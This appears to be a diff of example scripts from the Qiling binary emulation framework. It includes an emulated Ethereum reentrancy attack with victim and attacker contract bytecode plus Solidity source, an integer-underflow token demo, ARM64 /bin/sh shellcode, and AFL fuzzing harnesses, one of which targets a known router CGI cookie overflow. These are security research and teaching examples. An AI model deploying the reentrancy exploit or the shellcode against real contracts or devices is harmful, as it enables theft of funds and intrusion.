EtherStore_contract = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029'
print('Init Victim balance is', vm.state.get_balance(User1)/10**18)
print('Init Attacker balance is', vm.state.get_balance(User2)/10**18)
code1 = bytecode_to_bytes(EtherStore_contract)
print('\n------ Deploy DeFi contract')
# 1. deploy EtherStore
msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1)
res = vm.execute_message(msg1)
res_code = bytecode_to_bytes(res.output)
runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
rt_code = bytecode_to_bytes(runtime_code)
print('Victim balance: ', vm.state.get_balance(User1)/10**18)
print('\n------ Victim deposit Funds 20ETH to DeFi contract')
# 2. User1 depositFunds 20ETH to bank
call_data = '0xe2c41dbc'
msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code)
res = vm.execute_message(msg2)
# print(res.output)
print('Victim balance: ', vm.state.get_balance(User1)/10**18)
code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1]))
# print(code2.hex())
print('\n------ Deploy Attack Contract')
# 3. deploy Attack
# ql.debugger = True
msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2)
res = vm.execute_message(msg3)
# ql.debugger = False
res_code = bytecode_to_bytes(res.output)
runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
rt_code1 = bytecode_to_bytes(runtime_code)
print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack')
# 4. User2 pwnEtherStore with 1ETH
call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0xe2c41dbc')]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0x155dd5ee')])
# ql.debugger = True
msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1)
res = vm.execute_message(msg4)
# ql.debugger = False
print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
print('\n------ Attacker steal Ether from DeFi contract')
# 5. User2 collectEther
call_data = '0xff11e1db'
msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1)
res = vm.execute_message(msg5)
print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
+133
View File
@@ -0,0 +1,133 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling import *
from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector
from qiling.arch.evm.vm.vm import BaseVM
from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS
def template(vic_contract, deposit, withdraw):
Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029'
ql = Qiling(code=Attack_contract, archtype="evm")
vm:BaseVM = ql.arch.evm.vm
C1 = b'\xaa' * 20
C2 = b'\xbb' * 20
User1 = b'\xcc' * 20
User2 = b'\xde\xad\xbe\xef' * 5
ql.arch.evm.create_account(C1)
ql.arch.evm.create_account(C2)
ql.arch.evm.create_account(User1, 100*10**18)
ql.arch.evm.create_account(User2, 100*10**18)
EtherStore_contract = vic_contract
print('Init Victim balance is', vm.state.get_balance(User1)/10**18)
print('Init Attacker balance is', vm.state.get_balance(User2)/10**18)
code1 = bytecode_to_bytes(EtherStore_contract)
print('\n------ Deploy DeFi contract')
# 1. deploy EtherStore
msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1)
res = vm.execute_message(msg1)
res_code = bytecode_to_bytes(res.output)
runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
rt_code = bytecode_to_bytes(runtime_code)
print('Victim balance: ', vm.state.get_balance(User1)/10**18)
print('\n------ Victim deposit Funds 20ETH to DeFi contract')
# 2. User1 depositFunds 20ETH to bank
call_data = deposit
msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code)
res = vm.execute_message(msg2)
# print(res.output)
print('Victim balance: ', vm.state.get_balance(User1)/10**18)
code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1]))
# print(code2.hex())
print('\n------ Deploy Attack Contract')
# 3. deploy Attack
# ql.debugger = True
msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2)
res = vm.execute_message(msg3)
# ql.debugger = False
res_code = bytecode_to_bytes(res.output)
runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
rt_code1 = bytecode_to_bytes(runtime_code)
print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack')
# 4. User2 pwnEtherStore with 1ETH
call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(deposit)]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(withdraw)])
msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1)
res = vm.execute_message(msg4)
# print(res.output)
print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
print('\n------ Attacker steal Ether from DeFi contract')
# 5. User2 collectEther
call_data = '0xff11e1db'
msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1)
res = vm.execute_message(msg5)
print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
if __name__ == '__main__':
contract_1 = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029'
c1_deposit = '0xe2c41dbc'
c1_withdraw = '0x155dd5ee'
contract_2 = '0x608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106dc806100616000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c08bf881461014d578063590e1ae314610164578063a9059cbb1461017b578063e42c08f2146101c8575b600080339150349050600060648281151561007957fe5b0614151561008657600080fd5b60648181151561009257fe5b046000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fc848a0bc6fc10f63d456eae535b952f8768bfd21d409b4933f8032cce0432ea48183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050005b34801561015957600080fd5b5061016261021f565b005b34801561017057600080fd5b50610179610312565b005b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610434565b005b3480156101d457600080fd5b50610209600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610658565b6040518082815260200191505060405180910390f35b600034111561022d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561028957600080fd5b7fedf2f7451a6c99c99b58baaddbe18df51bec156fe6ae8dd3ea730168326f94cd3073ffffffffffffffffffffffffffffffffffffffff16316040518082815260200191505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600080600034111561032357600080fd5b3391506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081141561037557600080fd5b61038160648202610670565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f658eefd1c566207ffd3fb44f4d9b1e443698a39f8a6f7b134b3fef529e3f3f028183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60008034111561044357600080fd5b339050816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561049157600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101561051c57600080fd5b816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fa25be434081445744d5b297a785f7b7073142ae4bcd91a0e7aa802f802b4e0c7828285604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b60006020528060005260406000206000915090505481565b60003373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af19250505090508015156106ac57600080fd5b50505600a165627a7a72305820e5031f476480cd5d80ec7b267c7bf4c672137328294cb6b71bbb631ce9b99fc20029'
c2_deposit = ''
c2_withdraw = '0x590e1ae3'
template(contract_1, c1_deposit, c1_withdraw)
print('\n\n\n**************************\n\n\n')
template(contract_2, c2_deposit, c2_withdraw)
### genernal reentrancy poc ###
# contract Attack {
# address victim;
# bytes4 withdraw_id;
# constructor(address addr) {
# victim = addr;
# }
# function pwn(bytes4 deposit, bytes4 withdraw) public payable {
# withdraw_id = withdraw;
# // attack to the nearest ether
# require(msg.value >= 1 ether);
# // send eth to the depositFunds() function
# victim.call.value(1 ether)(deposit);
# victim.call(withdraw, 1 ether);
# //etherStore.depositFunds.value(1 ether)();
# // start the magic
# //etherStore.withdrawFunds(1 ether);
# }
# function collectEther() public {
# msg.sender.transfer(this.balance);
# }
# function () payable {
# if (victim.balance > 1 ether) {
# victim.call(withdraw_id,1 ether);
# }
# }
# }
+55
View File
@@ -0,0 +1,55 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling import *
def example_run_evm():
contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029'
ql = Qiling(code=contract, archtype="evm")
# Add Balance Var to the contract
bal = ql.arch.evm.abi.convert(['uint256'], [20])
contract = contract + bal
user1 = ql.arch.evm.create_account(balance=100*10**18)
user2 = ql.arch.evm.create_account(balance=100*10**18)
c1 = ql.arch.evm.create_account()
def check_balance(sender, destination):
call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender])
msg2 = ql.arch.evm.create_message(sender, destination, call_data)
return ql.run(code=msg2)
# Deploy runtime code
msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
ql.run(code=msg0)
# SMART CONTRACT DEPENDENT: check balance of user1, should be 20
result = check_balance(user1, c1)
print('User1 balance =', int(result.output.hex()[2:], 16))
# SMART CONTRACT DEPENDENT: transform 21 from user1 to user2
call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \
ql.arch.evm.abi.convert(['uint256'], [21])
# print('Transfer Calldata Code: ' + call_data)
msg1 = ql.arch.evm.create_message(user1, c1, call_data)
result = ql.run(code=msg1)
if int(result.output.hex()[2:], 16) == 1:
print('User1 transfered 21 Token to User2')
# SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1
result = check_balance(user1, c1)
final_balance = int(result.output.hex()[2:], 16)
print('User1 final balance =', final_balance)
# print(' also =', hex(final_balance))
if __name__ == "__main__":
example_run_evm()
+18
View File
@@ -0,0 +1,18 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import afl, os, sys
from underflow_test import underflow
afl.init()
sys.stdin.seek(0)
in_str = sys.stdin.read().strip()
if in_str.isdigit():
fuzz_value = int(in_str)
underflow(fuzz_value)
os._exit(0)
@@ -0,0 +1,47 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../../../..")
from qiling import *
def underflow(fuzz_balance):
code = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029'
ql = Qiling(code=code, archtype="evm")
# Add Balance Var to the contract
bal = ql.arch.evm.abi.convert(['uint256'], [20])
contract = code + bal
user1 = ql.arch.evm.create_account()
user2 = ql.arch.evm.create_account()
c1 = ql.arch.evm.create_account()
def check_balance(sender, destination):
call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender])
msg2 = ql.arch.evm.create_message(sender, destination, call_data)
return ql.run(code=msg2)
# Deploy runtime code
msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
ql.run(code=msg0)
# SMART CONTRACT DEPENDENT: check balance of user1, should be 20
result = check_balance(user1, c1)
# SMART CONTRACT DEPENDENT: transform 21 from user1 to user2
call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \
ql.arch.evm.abi.convert(['uint256'], [fuzz_balance])
msg1 = ql.arch.evm.create_message(user1, c1, call_data)
result = ql.run(code=msg1)
# SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1
result = check_balance(user1, c1)
if int(result.output_data.hex()[2:], 16) > 20:
raise OverflowError()
@@ -0,0 +1,37 @@
from qiling import *
class QILING_IDA():
def __init__(self):
pass
def _show_context(self, ql:Qiling):
registers = [ k for k in ql.arch.regs.register_mapping.keys() if type(k) is str ]
for idx in range(0, len(registers), 3):
regs = registers[idx:idx+3]
s = "\t".join(map(lambda v: f"{v:4}: {ql.arch.regs.__getattr__(v):016x}", regs))
ql.log.info(s)
def custom_prepare(self, ql:Qiling):
ql.log.info('Context before starting emulation:')
self._show_context(ql)
def custom_continue(self, ql:Qiling):
ql.log.info('custom_continue hook.')
self._show_context(ql)
hook = []
return hook
def custom_step(self, ql:Qiling):
def step_hook(ql, addr, size):
ql.log.info(f"Executing: {hex(addr)}")
self._show_context(ql)
ql.log.info('custom_step hook')
hook = []
hook.append(ql.hook_code(step_hook))
return hook
def custom_execute_selection(self, ql:Qiling):
ql.log.info('custom execute selection hook')
hook = []
return hook
+50
View File
@@ -0,0 +1,50 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append('..')
from qiling import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.r2 import R2
def func(ql: Qiling, *args, **kwargs):
ql.os.stdout.write(b"=====hooked main=====!\n")
return
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DISASM)
# QL_VERBOSE.DISASM will be monkey-patched when r2 is available
r2 = R2(ql)
# search bytes sequence using ql.mem.search
addrs = ql.mem.search(b'llo worl') # return all matching results
print(r2.at(addrs[0])) # find corresponding flag at the address and the offset to the flag
# search string using r2
addr = r2.strings['Hello world!'].vaddr # key must be exactly same
print(addrs[0], addr)
# print xref to string "Hello world!"
print(r2.refto(addr))
# write to string using ql.mem.write
ql.mem.write(addr, b"No hello, Bye!\x00")
# get function address and hook it
ql.hook_address(func, r2.functions['main'].offset)
# enable trace powered by r2 symsmap
# r2.enable_trace()
ql.run()
if __name__ == "__main__":
my_sandbox(["rootfs/x86_windows/bin/x86_hello.exe"], "rootfs/x86_windows")
# test shellcode mode
ARM64_LIN = bytes.fromhex('420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f165ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f0000012f62696e2f736800')
print("\nLinux ARM 64bit Shellcode")
ql = Qiling(code=ARM64_LIN, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.DEBUG)
r2 = R2(ql)
# disassemble 32 instructions
print(r2._cmd('pd 32'))
ql.run()
@@ -0,0 +1,23 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import *
from qiling.const import QL_VERBOSE
from qiling.extensions.report import generate_report
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
ql.run()
my_json = generate_report(ql) # do something with the json
print(generate_report(ql, pretty_print=True)) # or just print it to console
if __name__ == "__main__":
my_sandbox(["rootfs/x86_windows/bin/x86_hello.exe"], "rootfs/x86_windows")
@@ -0,0 +1,63 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
# Everything about the bug and firmware https://www.exploit-db.com/exploits/33863
import os,sys
sys.path.append("../../..")
from qiling import *
from qiling.const import QL_VERBOSE
from qiling.extensions.afl import ql_afl_fuzz
def main(input_file, enable_trace=False):
env_vars = {
"REQUEST_METHOD": "POST",
"REQUEST_URI": "/hedwig.cgi",
"CONTENT_TYPE": "application/x-www-form-urlencoded",
"REMOTE_ADDR": "127.0.0.1",
"HTTP_COOKIE": "uid=1234&password="+"A" * 0x1000, # fill up
# "CONTENT_LENGTH": "8", # no needed
}
ql = Qiling(["./rootfs/htdocs/web/hedwig.cgi"], "./rootfs",
verbose=QL_VERBOSE.DEBUG, env=env_vars,
console = True if enable_trace else False)
def place_input_callback(ql: Qiling, input: bytes, _: int):
env_var = ("HTTP_COOKIE=uid=1234&password=").encode()
env_vars = env_var + input + b"\x00" + (ql.path).encode() + b"\x00"
ql.mem.write(ql.target_addr, env_vars)
def start_afl(_ql: Qiling):
"""
Callback from inside
"""
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
addr = ql.mem.search("HTTP_COOKIE=uid=1234&password=".encode())
ql.target_addr = addr[0]
main_addr = ql.os.elf_entry
ql.hook_address(callback=start_afl, address=main_addr)
try:
ql.run()
os._exit(0)
except:
if enable_trace:
print("\nFuzzer Went Shit")
os._exit(0)
if __name__ == "__main__":
if len(sys.argv) == 1:
raise ValueError("No input file provided.")
if len(sys.argv) > 2 and sys.argv[1] == "-t":
main(sys.argv[2], enable_trace=True)
else:
main(sys.argv[1])
+76
View File
@@ -0,0 +1,76 @@
#!/usr/bin/env python3
"""Simple example of how to use Qiling together with AFLplusplus.
Steps:
o Clone and build AFL++
$ git clone https://github.com/AFLplusplus/AFLplusplus.git
$ make -C AFLplusplus
o Build Unicorn support
$ ( cd AFLplusplus/unicorn_mode ; ./build_unicorn_support.sh )
o Start fuzzing
$ AFL_AUTORESUME=1 AFL_PATH="$(realpath ./AFLplusplus)" PATH="$AFL_PATH:$PATH" afl-fuzz -i afl_inputs -o afl_outputs -U -- python3 ./fuzz_x8664_linux.py @@
o Cleanup results
$ rm -fr afl_outputs/default/
"""
# No more need for importing unicornafl, try afl.ql_afl_fuzz instead!
import os
import sys
from typing import Optional
sys.path.append("../../..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions import pipe
from qiling.extensions import afl
def main(input_file: str):
ql = Qiling(["./x8664_fuzz"], "../../rootfs/x8664_linux",
verbose=QL_VERBOSE.OFF, # keep qiling logging off
console=False) # thwart program output
# redirect stdin to our mock to feed it with incoming fuzzed keystrokes
ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno())
def place_input_callback(ql: Qiling, input: bytes, persistent_round: int) -> Optional[bool]:
"""Feed generated stimuli to the fuzzed target.
This method is called with every fuzzing iteration.
"""
# feed fuzzed input to our mock stdin
ql.os.stdin.write(input)
# signal afl to proceed with this input
return True
def start_afl(ql: Qiling):
"""Have Unicorn fork and start instrumentation.
"""
afl.ql_afl_fuzz(ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
# get image base address
ba = ql.loader.images[0].base
# make the process crash whenever __stack_chk_fail@plt is about to be called.
# this way afl will count stack protection violations as crashes
ql.hook_address(callback=lambda x: os.abort(), address=ba + 0x126e)
# set afl instrumentation [re]starting point. we set it to 'main'
ql.hook_address(callback=start_afl, address=ba + 0x1275)
# okay, ready to roll
ql.run()
if __name__ == "__main__":
if len(sys.argv) == 1:
raise ValueError("No input file provided.")
main(sys.argv[1])
+41
View File
@@ -0,0 +1,41 @@
#!/usr/bin/python3
from fuzzercorn import *
from unicorn import *
from qiling import Qiling
from qiling.extensions import pipe
import sys, os, ctypes
class SimpleFuzzer:
def run(self):
ql = Qiling(["./x8664_fuzz"], "../../rootfs/x8664_linux", console=False)
ba = ql.loader.images[0].base
try:
# Only instrument the function `fun`, so we don't need to instrument libc and ld
FuzzerCornFuzz(ql.uc, sys.argv, [ql.os.exit_point], self.place_input, self.init, UserData=ql, Ranges=[(ba + 0x1179, ba + 0x122B)], CountersCount=4096)
except Exception as ex:
os.abort() # Quick exit
def place_input(self, uc: Uc, data: ctypes.Array, ql: Qiling):
ql.restore(self.snapshot)
ql.os.stdin = pipe.SimpleInStream(1)
ql.os.stdin.write(bytes(data))
return 1
def init(self, uc: Uc, argv: list, ql: Qiling):
ba = ql.loader.images[0].base
ql.hook_address(callback=lambda x: os.abort(), address=ba + 0x1225) # ___stack_chk_fail
ql.run(end=ba + 0x122c) # Run to main.
# Save a snapshot.
self.snapshot = ql.save()
return 0
if __name__ == "__main__":
# chmod +x ./libfuzzer_x8664_linux.py
# ./libfuzzer_x8664_linux.py -jobs=6 -workers=6
SimpleFuzzer().run()
+90
View File
@@ -0,0 +1,90 @@
#!/usr/bin/env python3
"""
Simple example of how to use Qiling together with AFLplusplus.
This is tested with the recent Qiling framework (the one you cloned),
afl++ from https://github.com/AFLplusplus/AFLplusplus
After building afl++, make sure you install `unicorn_mode/setup_unicorn.sh`
